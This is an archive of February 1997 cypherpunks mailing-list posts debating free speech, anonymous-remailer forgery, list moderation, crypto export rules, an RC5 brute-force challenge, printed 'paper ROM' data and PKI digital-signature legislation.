 Date: Wed, 5 Feb 1997 13:23:02 -0800
 To: jonl@microsoft.com (Jon Lazarus), hopmann@holonet.net (Alex Hopmann),
         anna@LivePicture.com (Anna Godfrey), scotty1024@aol.com (Scott
Turner),
         577-7433@mcimail.com (Bobby Orbach),
         mwhutch@aol.com (Michael Hutchinson -- AOL Webmaster),
         rsiegelman@kpcb.com (Russ Siegelman), davenetworld@wired.com,
         pdeziel@adobe.com (Pam Deziel), siegel@barebones.com (Rich Siegel),
         slove@netscape.com (Scott Love)
 From: dwiner@well.com (DaveNet email)
 Subject: Remember the Blackout
 Sender: owner-davenetworld@wired.com
 Precedence: bulk


---------------------------------------
 Amusing Rants from Dave Winer's Desktop
 Released on 2/5/97; 1:23:01 PM PST
 ---------------------------------------

   A short piece, in the middle of much website work, to remind everyone
   that Saturday February 8 is the first anniversary of an important
   event in our new medium -- the web blackout of 1996.

   It's already history. In some circles it's not fashionable to
   remember that the United States government attempted to censor free
   speech on the Internet. I believe it would be cynical to overlook it.

   We defeated the law, even though we re-elected many of the
   politicians who tried to outlaw free speech in the name of protecting
   children.

   I'm building a website that will go live on Saturday to commemorate
   the protest, and to serve as a monument to the spirit of free speech. To
   remind us that this is a worldwide community, and no political system
   has the power to enforce its standards of decency on the medium.

   The battle to retain our rights is ongoing. Important organizations
   such as the Electronic Frontier Foundation and the American Civil
   Liberties Union deserve and require our support. It's easy to lose
   sight of the principles that we believe in, to be distracted by
   questions of corporate survival, of fear or greed. These are
   interesting issues, no doubt. But this is a creative and expressive
   medium and to protect its potential, unqualified free speech is
   essential.

   I played a small role in the web blackout last year. This year I hope to
   facilitate, to organize more sites and help to spread the word that
   free speech is not an option, not something that can be traded or
   limited and that no compromises are possible.

   <http://www.scripting.com/davenet/misc/blackout/>

   If you run a democracy-related site, large or small, please visit the
   page before Saturday and register. If you know someone who does,
   please pass this on. And if you value free speech, please visit the
   site on Saturday or later. It'll be a fascinating trip thru Internet
   history, if nothing else!

   Remember the blackout. Remember why it was necessary. Don't let
   people use children as an excuse to deprive people of their power to
   express themselves.

   Dave Winer

 -------------------------------------------
 News & Updates: <http://www.scripting.com/>



--------------------------------------------------
The e$ lists are brought to you by:

Intertrader Ltd - Java e$ Software Developers in the UK
Visit <http://www.intertrader.com/> for details ...

Where people, networks and money come together: Consult Hyperion
http://www.hyperion.co.uk                    info@hyperion.co.uk

Like e$pam? Help pay for it!  See <http://www.atanda.com/rah.html>
Or, for e$pam sponsorship, see <http://thumper.vmeng.com/pub/rah/>

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Of Counsel: Vinnie Moscaritolo <mailto:vinnie@webstuff.apple.com>
(Majordomo)^2: Rachel Willmer<mailto:rachel@intertrader.com>
Commermeister: Anthony Templer <mailto:anthony@atanda.com>
Interturge: Rodney Thayer <mailto:rodney@sabletech.com>
HTMLurgist: Cynthia Zwerling <mailto:czrider@@webstuff.apple.com>

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@holy.cow.net>
Date: Wed, 5 Feb 1997 19:40:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199702060340.TAA11380@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


http://www.cnn.com

Congressman demonstrates
ease of cell phone snooping

     






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 5 Feb 1997 21:41:08 -0800 (PST)
To: lcs Remailer Administrator <mix-admin@nym.alias.net>
Subject: Re: mail-to-news fun
Message-ID: <199702060541.VAA13772@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 02:18 AM 2/6/97 -0000, you wrote:
>Unfortunately, you don't really have a choice about what kind of
>speech you are supporting if you run a remailer.  Don't fall into the
>trap of saying, "I want to give people complete freedom of anonymous
>speech... EXCEPT...."  As abhorrent as we may find the homophobic
>hatemongers from the "freedom-knights" list, I guarantee a lot of
>politicians would object more strongly to the "Help, I might be gay
>and my parents will kill me" post.  Once you set up a system for
>content-based censorship, don't think you can stay in control of it.

The problem isn't homophobic hatemongers who use their own names or nyms
or no name, or even get my remailer's name associated with that -
I can reply to complaints or file them in the handy bit bucket.
The problem is forgers signing _other_ people's names to their hatemonger
postings, causing the innocent third party to catch all the
flames that the forger was trying to generate. 

Stewart wrote:
>> On the other hand, I don't want to support postings titled
>> "ALL FAGS MUST DIE" with a forged signature and email at the bottom,
>> and I especially don't want to post that from my remailer without
>> indicating that anything posted by a remailer might be forged.
>> That's why I shut down my previous remailer - the forger only
>> posted one forged message; the person whose name got forged
>> got flamed severely by dozens of people who objected to "her" posts.
>> Blocking the gay newsgroups cuts down on that kind of trolling,
>> but also cuts out the "Help, I might be gay and my parents will kill me"
>> traffic that remailers are supposed to help with.

Guess I should have been more clear....

>As for forgery, I do add
>  X-Warning: Sender address is unverified and may not be authentic.
>to every article that goest through my mail2news gateway.

Does anybody read X-Warning: headers?  Not all newsreaders even show
all the headers.  It's a good start, and that's clearly the place
in the system to insert it.

>Additionally, I have a fast source-blocking system set up, so anyone
>in whose name articles are being forged can immediately stop it by
>mailing <srcblk-request@nym.alias.net>.  (This doesn't source-block
>them from the remailers, just the non-anonymizing mail2news gateway.)

That helps, at least if the spammer is doing a lot of it (or if the
spam is from a broken gateway program or whatever.)  But for the
troll that killed my remailer, one message was enough.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Bruce M." <bkmarsh@feist.com>
Date: Wed, 5 Feb 1997 19:59:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Deloitte-Touche?
Message-ID: <199702060359.TAA11793@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 5 Feb 1997, Marshall Clow wrote:

> Mr. Murray gave a long, impassioned speech.
> 
> He was very emphatic about not trusting anything
> that the government says, and that once they got
> their "foot in the door", that they would seek to
> expand their abilities to regulate, etc, etc.
> 
> He advocated deployment of strong crypto. He
> insisted that there was no way the government
> could stop the export of strong crypto. He exhorted
> people to refuse to obey the ITAR/EAR regulations,
> and to lobby their congresscritters to get the
> PRO-CODE bill passed.
> 
> It wasn't really what he said that amazed me, because
> I had heard most of it (in bits and pieces) before. It
> was presenting it all in a package, in an emotional
> manner, by an elderly, conseratively dressed
> accountant who was representing a large
> corporation whose job it is to help people obey the
> government.

    I was in attendance at an ISSA conference earlier this year where Mr. 
Murray gave the "keynote" speech on Electronic Commerce.  While he did 
strongly advocate the adoption of strong crypto and various methods of 
security, he never stepped into the more radical mode of encouraging 
people to break the law.  That was a different audience though.

    As he is also an ex-25 year IBM veteran it amazes me that he would 
make such a public outcry against govt. regulations (okay, so it's a 
stereotype).  Deloitte & Touche must really have a big stake in the 
pro-crypto market or else he actually cares a lot.

             ____________________________________________________
            [ Bruce M. - bkmarsh@feist.com - Feist Systems, Inc. ]
             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
      "We don't want to get our butts kicked by a bunch of long-haired 
        26-year-olds with earrings." -- General John Sheehan on their 
                       reasons for InfoWar involvement






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 5 Feb 1997 19:40:53 -0800 (PST)
To: "cypherpunks@toad.com>
Subject: Deloitte-Touche, e$pam plug, Moderation, Cypherpunks as a cresote bush
Message-ID: <199702060340.TAA11393@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 4:05 pm -0500 2/5/97, Mark Voorhees wrote:
>I'm almost certain that Murray is a consultant rather than
>or in addition to an accountant. He's been saying these things
>for years at conferences, in papers, on mailing lists, etc.

For the longest time, I've had a couple of people from dtus.com on my e$pam
feed. They signed on when I started my own list out of www-buyinfo.

About 6 months ago, however, mail to them started bouncing out of e$, the
chat list I set up as an adjunct to e$pam. Which makes sense, because
that's when they stopped chatting about e$. :-). I expect that the same
thing happend to e$pam, though Rachel Wilmer, who is my e$pam listmaster
would have seen it, and not I.


Actually, e$ has become something of a watering hole, now with about twice
as many subscribers as e$pam does. Some cypherpunks among them.

Oh. While we're all talking about moderation, e$pam is a sort of filtered
superset of cypherpunks. I have filtered cypherpunks posts in it, but I
also have stuff from the 50-odd mail lists and 70 news groups I follow. The
total feed can reach 300k a day sometimes, mostly because I include the
full text of stuff like some of John Young's articles, and the text of the
occasional web-page which tickles my fancy. Sort of immoderate moderation.
:-). You can subscribe to it on my web page, which is in my .sig, below.

I've a bunch of people working with me now on e$pam, who, among other
things, are in the process of getting it set up in a searchable archive.
Though, to prevent crawlers from seeing all the juicy bits (cf. Mr. Young,
above), we're probably going to have some kind of certificate-access scheme
when we get it all running. Rodney Thayer, who's doing IPSEC stuff, (among
other things :-)), is going to run a quick-and-dirty generic certification
authority to make that happen.

In the meantime, if you're interested in e$, or financial crypto, or other
stuff I'm interested ("it don't say e$pam until Bob says it says e$pam"
:-)), you might want to check it.


Even though cypherpunks is a lot "cleaner" now, and I did encourage Sandy
in his efforts initially, I suppose I'm now weighing in with (horrors!) Tim
on the subject of moderation. I think that if Sandy and John want to create
a moderated list (like I have done, though e$pam is more specific in
content) out of what happens on cypherpunks, they could do it with exactly
the traffic they have now in experimental moderation mode. The current
machine load doesn't seem to be impacting the throughput to
cypherpunks(moderated), modulo Sandy's moderation time, though if
toad.com's being used for much else, there might be problems there.

Part of the nice thing about cypherpunks 1.0 was that anything could happen
there. That it was anarchy in practice. And, maybe because of my periodic
altercations with Mr. May on this list (thank god for his kill-file :-))
even the anonymous Tim-slams were occasionally entertaining, in a, ahem,
biologically curious sort of way. ;-).

So, I guess I think we should put it back the way it was. Including, please
Mr. Gilmore, "officially' resubscribing the Wee-vil Dr. V. Then those
who've made it so can annouce to the world that cypherpunks is again a
proper anarchy. Then we can us deal with miscreants the way we used to, by
ignoring them, (and the occasional e-mailbomb...).


Finally, I have an analogy for cypherpunks from nature. There are lots of
plants, some of them the technically the largest living beings on earth,
which, at first glance, look like a bunch of different individual plants.
Aspen groves, for instance, are all linked together under the soil to the
same system of roots, and are genetically the same individual. Some of
these "stands" of trees cover tens of square miles, and one patch of
Aspens, in Wyoming? Montana? is the world's largest living thing, massing
several million(?) tons, and probably tens of thousands of years old.

Fungi do this too. Toadstools (a rather, heh, fecund analog for
cypherpunks) tend to create very large "individuals", with each toadstool
representing the fruiting body for a huge bunch of mycyillia(sp?)
underneath it. Toadstools create structures called, ahem, "fairy rings",
where the central mushroom dies, only to be replaced by a ring of other
mushrooms, which die, and so on, until they're covering your whole fucking
lawn and messing up your lawnmower bag... (well, anyway, you get the idea.)
There was the claim a few years ago that the same genetic individual slime
mold covered half of Wisconsin (Minnesota?).

The king of all the plants which do this, I think, is the cresote bush,
which, I believe, in some pieces of the Sonorran(sp?) desert, cover
hundreds of square miles. Scientists, using tree-ring dating, have worked
back, through various rings of cresote bushes, using their very slow growth
rates in the desert environment, to the center of the creosote bush
cluster, to estimate the date of these things. I remember claims that these
plants may have started from a single individual, there at the long dead
(or at least regrown-over) center of the ring, more than a hundred, and
maybe several hundred thousand years ago.

So, let nature take its course. Most lists die when people stop posting to
it. That certainly hasn't happened to cypherpunks. And, when it does, we
can all migrate out into the numerous rings of lists that cypherpunks has
spawned (I think I can account about putting together 10 or so myself)
among them.

Cheers,
Bob Hettinga


-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ian Goldberg <iang@cs.berkeley.edu>
Date: Wed, 5 Feb 1997 14:01:36 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "Strong" crypto and export rule changes.
Message-ID: <199702052201.OAA05502@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In article <199702030626.WAA14616@toad.com>,
Vin McLellan  <vin@shore.net> wrote:
>	Ian popped the 40-bit RC5 (not RC4) challenge with 259 processors,
>almost all standard Unix college-lab workstations, as I understand it.
>(RC5 has a variable block size and a variable number of rounds; but the
>unknown plaintexts for this contest were enciphered using a declared
>12-round RC5 with a 32-bit word size.) The message Ian revealed was
>something like: "That's why you need a longer key!!!!!"
>
>	 (The network Ian used to link his lab workstations, NOW at
>Berkeley, is definitely not standard, however.  I think there is a
>description of it online; but briefly, NOW seems designed to very
>efficiently handle this sort of intensive distributed processing project.
>More important, perhaps, was the fact that Ian just chewed through the
>possible keys with a pure brute-force attack on the key space.  His attack
>was not really optimized for RC5, or designed to attack any specific
>element in the RC5 crypto architecture.)

Actually, it was 259 _machines_, but 4 of them were 8-processor UltraSPARCs
(by far the coolest machines I had access to), for a total of 287 processors.

The "special" network used by the NOW cluster was irrelevant; I didn't use
it at all.  I used the machines on the NOW and 120 other HP workstations
as regular TCP/IP clients.  I started them by simply logging in to each
machine, one at a time with "rsh" (well, "krsh" or "ssh" where appropriate).

   - Ian

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMvj4REZRiTErSPb1AQFl5gP+MGlyElNu6X3IHseW6Q0EPicPa4mQs35Z
koUKkAhk0qrT2CpEzw7J6dtjyTLs2BUmScEOtvU8KiBjK8aRZCsE0BHSmONWtX71
dNZu1q/+wm2oSLi1tDq0mT7bpbBR0NbO71tWgza2vTFhtP4vKvzt5SodYSN+JTYL
5DuLvpofRFs=
=ly1x
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert Rothenburg 'Walking-Owl'" <WlkngOwl@unix.asb.com>
Date: Wed, 5 Feb 1997 19:59:16 -0800 (PST)
To: jim bell <jimbell@pacifier.com>
Subject: Re: Letter Re: Kahn Supporting GAK
Message-ID: <199702060359.TAA11787@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Good point: but I've seen a few refs from LEAs about "Drug Dealer X 
who we can't talk about" or "Child Pornographer Y who we can't talk 
about" (in lieu of cases being digested by the court system) so I 
didn't harp on that point.

A point I did leave out was that if they already knew these people 
were criminals and were building cases against them, monitoring them 
enough to know they used crypto, then do they really need to bother 
with listening in to the exact message?

I wanted to emphasize the phallacy of the sacrifical lamb of rights 
in the name of the god of security.  Also, they mungled the letter 
enough, so it's better for LI Newsday (which caters to a reading 
level of the average 12-year-old) submissions to be kept short and 
sweet.

I'm quite surprised that mine is the only letter they printed. 
Certainly they would have gotten more than one submission on a 
controversial subject?

--Rob

On  5 Feb 97 at 18:22, jim bell wrote:

> But which "criminals," exactly, are "increasingly using encryption to 
> conceal their plans and activities"?  Let's not concede this unless it's 
> really true.
> 
> It would be far more accurate to say that it's likely that many people who 
> are politically hostile to their government are using encryption in 
> anticipation of persecution by the government, persecution that could easily 
> come in the form of criminal charges.
> 
> 
> Jim Bell
> jimbell@pacifier.com
> 
> 

-----
"The word to kill ain't dirty     | Robert Rothenburg (WlkngOwl@unix.asb.com)
 I used it in the last line       | http://www.asb.com/usr/wlkngowl/
 but use a short word for lovin'  | Se habla PGP:  Reply with the subject
 and dad you wind up doin' time." | 'send pgp-key' for my public key.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Wed, 5 Feb 1997 22:10:55 -0800 (PST)
To: cypherpunks@toad.com
Subject: RE: Fighting the cybercensor
Message-ID: <199702060610.WAA14376@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


This time I have opted for a point by point.
At 07:59 PM 2/5/97 -0800, jim bell wrote:
...
>The kind of effects I'm thinking of are primarily the "military spending" 
>situations, where:
>
>1.  Large numbers of potentially competent and useful people get put into 
>useless jobs:  "Army, Navy, and Marines, and Air Force" spring to mind.   
>(Those people who still think military spending is really necessary 
>obviously haven't read AP.)
This point I can not argue with, at least not directly.  I do believe that
the military way is wasteful of resources.  However, this is one area that
has actually benefitted the lower-income bracket in that it gives them
"inexpensive" (off-chance of death) access to good training.
>2.  Large amounts of money are spent on military hardware, money which goes 
>to fund  people who would otherwise develop useful products in the 
>non-government private sector.
Three things that promote technological growth, expansion, war, threat of war.
As for expansion. we really have no where else to go.  As for war and threat
of war, the computer was invented during a war, atomic energy was harnessed
during war, the internet was created during threat of war.  Many
advancements, though not all, come to benefit society later.  For that
matter, steel was probably invented during a war as well, but I can't prove it.
>3.  The patent system decreases competition, increases profits and prices in 
>the marketplace due to government actions to allow and enforce monopolies.
The patent system gives the innovator a reward for ingenuity, that person
can decide what to do with the invention for a short period of time, after
which it becomes available to all.  (BTW I really think that computer code
should be copyrighted and not patented, this allows others to reproduce the
work independantly without repercussions, gives the necessary protection,
makes it more obviously a form of speech.)
>4.  Government employees are paid more for their activities than they would 
>receive in the private sector.  Ironically, in this case an 
>"apples-to-apples" comparison is misleading:  It would be wrong to compare a 
>middle level government manager to his counterpart in private industry, 
>because to postulate there is such a government-job assumes that the 
>private-sector would do it post-AP.  

To this I can't argue, business is certainly leaner than government.  Of
course most desert plants are more robust than their resource-wasteful
wetland counterpart.  Where there is a near-bottomless supply of material,
as in taxes, true streamlining really doesn't happen.  Remember, the
automobile really didn't become anywhere near fuel-efficient until after the
energy crisis.
> 
>>If you are right then governments would effectively lose the ability to tax,  
>>with or without representation, as most people do not agree on everything,
>>like how their money is spent.  However, even now, as pointed out in some
>>recent posts, our tax money is used to foreward the goals of a few, these
>>few want to eliminate guns, crypto, free speech, ect.  Although we are in
>>oppostition, our money is still used to foreward the goals. 
>
>Yes, the main effect of AP is the elimination of the ability to tax.  Now, 
>nothing would prevents individuals from continuing to fund an organization 
>called a "government" so that it could do those (non-coercive) things that 
>individual wants to see done.  But I think it'll be amazing how many of 
>those heretofore-funded-by-govt projects (previously promoted as being 
>wanted by a large fraction of the citizenry) that evaporate when the public 
>is given the option to continue to fund them voluntarily.
>
>
>Let's suppose, hypothetically and for vast simplification, the government 
>engages in two activities, "A" and "B."   Further suppose government taxes 
>from two groups, let's call them "Alphas" and "Betas."  It is traditionally 
>thought that Alphas like spending on "A",  but hate spending on "B".   
>Likewise, it is figured that Betas like spending on "B", don't like spending 
>on "A".    
>
>Post-AP, one might innocently suspect that maybe the "Alphas" would simply 
>fund only "A",  while Betas" would donate money for activity "B".   Assuming 
>the amount of funding for those activities was equal, you might think that 
>things could go on as they already do.  But no.   The reality is that 
>"Alphas" merely like spending on "A" _more_ than they do "B", and they will 
>tolerate their own money being used for both only because the "Betas" are 
>similarly forced.  Add volunteerism to the whole mix, and not only would 
>these two groups only fund just what they really wanted, they would soon 
>discover they don't even want the level of spending they previously argued 
>for, pre-AP.
As it is, the "A" group, that's not us, is being promoted with virtually all
of the capitol, the "B" group, us, is being attacked in policy and attempts
are being made to keep us from getting any bigger.
...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 5 Feb 1997 14:20:02 -0800 (PST)
To: declan@pathfinder.com
Subject: Re: Moderation [Tim,Sandy]
Message-ID: <199702052220.OAA05804@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh <declan@pathfinder.com> writes:
> Adam writes:
> 
> >The problem with censorship or moderation is that it waters down the
> >absolutism of free speech.  Free speech in electronic media, with
> >cypherpunks type I, and type II remailers, is the closest thing to
> >truly free speech yet.
> 
> I agree and disagree. Moderation often *increases* the value of speech. The
> Wall Street Journal, or Time Magazine, or the JAMA have strict policies
> regarding what information they print; these policies increase the
> publication's value.

Their policies impose the editors and owners biases on the
publication.  If people value their publication they buy it.  The
average quality of the articles is higher than a discussion group --
the authors spend longer writing the articles, and the best articles
are selected by the editors.  Unsuprising.  The articles are probably
biased towards the editors or owners politics.

> Moderation is not necessarily censorship. Would you criticize the
> National Coalition Against Censorship for not including in their
> newsletter (to which I subscribe) off-topic rants by Jesse Helms?

A newsletter is not a discussion forum.  Editorial control of a
newsletter is not moderation of a discussion group.  The cypherpunks
list is a discussion forum.  It's the electronic equivalent of people
talking amongst themselves about crypto issues in free time at CFP, or
a crypto conference.

> What Vulis and the rest (whom I killfiled long ago) have done is
> polluted a common resource, making it unusable for the rest. It's
> the tragedy of the commons. When all can speak without limit in a
> public forum, the drunken boor can shout everyone else down.

Dimitri's opinions aren't threatening anything.  If you aren't
interested in what he says don't read his articles.  If you disagree
with what he says, argue against it.  Subscribe to or start filtering
services (rating services) reflecting your views.

Personally I think something useful could be done with a content
digested form of cypherpunks with ratings, and pointers to the actual
posts.

Things like:

+ a thread on the experiment moderation, discussion from John Gilmore,
  Tim May, and others (hypertext ref)

+ series of latest ascii art and insults

+ new crypto developments in article forwarded by JYA

+-+ discussion of new crypto developments, and Lucky offers a bet

Would take a fair amount of effort from someone to produce a running
commentry of cypherpunks discussions to provide a higher level index
in to cypherpunks.

The price of unconditional free speech is that people will say things
which you personally don't agree with, however libertarian you are.

The only thing to do is to ignore stuff you don't like, or argue
against it, if you say, no this is too crap, or too worthless, then
you've started on the slippery slope.  It is the same principle that
protects your own freedom of expression.

It is worth bearing in mind that cypherpunks themselves are part of a
minority (the population of people who understand what encryption is
and implies, and know what governments are proposing enough to form an
opinion on whether crypto should be regulated or not).

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Wed, 5 Feb 1997 22:10:55 -0800 (PST)
To: Steve Schear <azur@netcom.com>
Subject: Re: ITAR and Paper ROM
Message-ID: <199702060610.WAA14375@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:26 AM 2/5/97 -0800, Steve Schear wrote:
>>Given that high-density inkjet printers can do 600x600 dpi resolution, it
>>should be possible to achieve the equivalent of 100x100 bpi of
>>easily-recoverable data on ordinary paper.  That's about 800 kilobits, or
>>100 kilobytes.   What does ITAR say about this?
>
>I'm not sure if what I did in the 80s, trying to create what I called
>'paper ROM, is applicable.  In these investigations I used matricies of
>small (1-3 mm) squares of gray (16 levels) or color (64 levels) with a mind
>to replace diskettes for inexpensive mass data distribution.  I was able to
>reliably get 100-200 KB/page side using standard offset printing.  With
>modern ink-jet/laser printers you should be able to reliably get at least
>10-50KB/page side. Although a technical success, I abandoned the effort
>when I discovered someone had patented (4,488,679) something similar a few
>years earlier.

It seems to me that the main impediment to doing this in the middle 1980's 
was the lack of inexpensive scanners.  But the utility of a system like this 
has, unfortunately (?) or perhaps fortunately, probably been killed by the 
Internet.  Today, a magazine or newspaper can merely post a short pointer to 
a website including an FTP, or something similar.  True, that doesn't 
guarantee the availability of the data years later, but...



Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 6 Feb 1997 06:56:00 -0800 (PST)
To: Steve Schear <azur@netcom.com>
Subject: Re: ITAR and Paper ROM
Message-ID: <199702061456.GAA24462@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:26 AM 2/5/97 -0800, Steve Schear wrote:
>I'm not sure if what I did in the 80s, trying to create what I called
>'paper ROM, is applicable. [....]
>to replace diskettes for inexpensive mass data distribution.  
> Although a technical success, I abandoned the effort
>when I discovered someone had patented (4,488,679) something similar a 
>few years earlier.

Yeah, our patent office is so helpful - granting a patent for
	"Storage of Information By Making Marks On Paper" :-)
You'd think they'd recognize a few thousand years of prior art.....

Xerox also has a similar patent; their method uses little diagonals
to encode data in. ///\\\///  It really _isn't_ called "cuneform".

More practically, sort of, there was the Cauzin Softstrip Reader,
which cost about $200 and held enough data to distribute programs
back when computers and programs were much smaller; a few PC magazines
tried distributing programs by printing them in the back that way.
Cute, but not cute enough to stick around very long.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Wed, 5 Feb 1997 21:42:52 -0800 (PST)
To: cypherpunks mailing list <cypherpunks@toad.com>
Subject: [RRE FWD] PKI: 10 Public Policy Questions
Message-ID: <199702060542.VAA13795@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


C'punks-
Got this off of the Red Rock Eater list,
<http://communication.ucsd.edu/pagre/rre.html>, and figured those of you
not on it might like a read.

_________________________________________________
From: Phil Agre <pagre@weber.ucsd.edu>
To: rre@weber.ucsd.edu
Subject: PKI: 10 Public Policy Questions
X-Url: http://communication.ucsd.edu/pagre/rre.html

[The bottom line: State legislation on digital signatures presupposes an
overly centralized architecture and is weighted against victims of fraud.
Pursuing inherently national or global issues on the state level permits
interested parties to shop for a friendly legislature, who will then set
a precedent that other jurisdictions are likely to follow.  This system
is biased against less politically mobilized constituencies and favors
older technologies and more centralized business models.]

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
This message was forwarded through the Red Rock Eater News Service (RRE).
Send any replies to the original author, listed in the From: field below.
You are welcome to send the message along to others but please do not use
the "redirect" command.  For information on RRE, including instructions
for (un)subscribing, send an empty message to  rre-help@weber.ucsd.edu
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Date: Wed, 05 Feb 1997 09:48:01 -0800
From: Bradford Biddle <BIDDLECB@COOLEY.COM>
Subject: PKI: 10 Public Policy Questions

[...]

* * * * * * * * *

[Copyright 1997 C. Bradford Biddle; permission granted for
non-commercial electronic redistribution]

CFP '97: LUNCHTIME WORKSHOP, WED. MARCH 12 1997 12:30PM -2:00PM

PUBLIC KEY INFRASTRUCTURES AND "DIGITAL SIGNATURE" LEGISLATION: 10
PUBLIC POLICY QUESTIONS

BRAD BIDDLE*

	Following the lead of the state of Utah, numerous states and
several foreign countries have enacted "digital signature" legislation
aimed at promoting the development of a public key  infrastructure
(PKI).  While PKI legislation has acquired significant momentum, it is
not clear that lawmakers have carefully considered the public policy
implications and long-term consequences of these laws.  This luncheon
session will explore certain policy questions related to a PKI, in an
informal "open discussion" format.  Ten questions we hope to address
are:

1.	Is legislation necessary at all?	

	Proponents of digital signature legislation start with the
premise that the need for a PKI is clear: public key cryptography and
verifiable certificates offer the best hope for sending secure,
authentic electronic messages over open networks, thereby facilitating
electronic commerce. They argue that the reason that the commercial
marketplace has not produced a viable certification authority (CA)
industry is because of legal uncertainty (CAs are unable to determine
their potential liability exposure because of a confusing array of
applicable background law) or because existing law imposes too much
liability on CAs.  Thus, proponents argue, legislation is necessary in
order to provide certainty in the marketplace and allow a much-needed
industry to emerge, as well as to address other issues such as the legal
status of digitally signed documents.

	Opponents of this view assert that it is far too soon to
conclude that the market will not produce commercial CAs, and point to
the increasing numbers of commercial CAs emerging even in the absence of
legislation.  Time is solving the "uncertainty" problem, opponents
argue, and the "too much liability" problem is the product of flawed
business models, not a flawed legal system. Opponents of legislation
argue that the real danger is that a group of lawyers will impose a set
of flawed rules that will fundamentally skew a dynamic infant
marketplace and "lock in" a set of business models that the market would
otherwise reject.  The time for legislation and regulation is after
identifiable problems exist in a mature industry, opponents say, not
before an industry even exists.  Opponents of legislation further argue
that existing legal mechanisms can address the issue of the legal status
of digitally signed documents.

2.	Where should PKI legislation occur?

	Debate also occurs over the appropriate jurisdictional level for
digital signature legislation. Some observers cringe at the thought of
50 inconsistent state digital signature laws; others believe that CAs
and consumers will opt-in to the most sensible legislative scheme, and
thus believe that competition between the states is helpful.  Proponents
of uniformity and consistency argue for PKI legislation at the federal
or international level; opponents of this view point out that general
commercial law has long been the province of state legislatures.

3.	Is licensing of Certification Authorities the right approach?

	Under the Utah Digital Signature Act ("Utah Act") and much of
the subsequent PKI-related legislation CAs are licensed by the state. 
The Utah Act makes licensing optional: CAs that obtain licenses are
treated with favorable liability rules, but non-licensed CAs may exist
in Utah. Licensing is a highly intrusive form of government regulation
(other, less intrusive methods of regulation include mandatory
disclosure requirements, altering liability rules to avoid externalized
costs, bonding or insurance requirements, etc.).  Typically, licensing
as a form of regulation is reserved for circumstances where a market
flaw cannot be addressed by other, less intrusive means.   Does this
sort of dynamic exist with CAs?  Would consumers be able to make
informed, rational choices between CAs?  Could an incompetent CA cause
irreparable harm?  Could other types of regulation address any relevant
market flaws?  If unlicensed practitioners are allowed to exist, subject
to different liability rules, how will this affect the CA market?

4.	Should legislation endorse public key cryptography, or be
"technology neutral"?

	Most of the digital signature legislation to date has focused
specifically on digital signatures created using public key
cryptography.  Some legislation has also addressed the issue of
"electronic signatures" -- other, non-public key methods of
authenticating digital transmissions. Proponents of biometric
authentication methods argue that it is foolish to legislatively
enshrine public key cryptography as the only technology capable of
authenticating an electronic document. They argue that biometric methods
can currently accomplish many of the same goals as digital signatures;
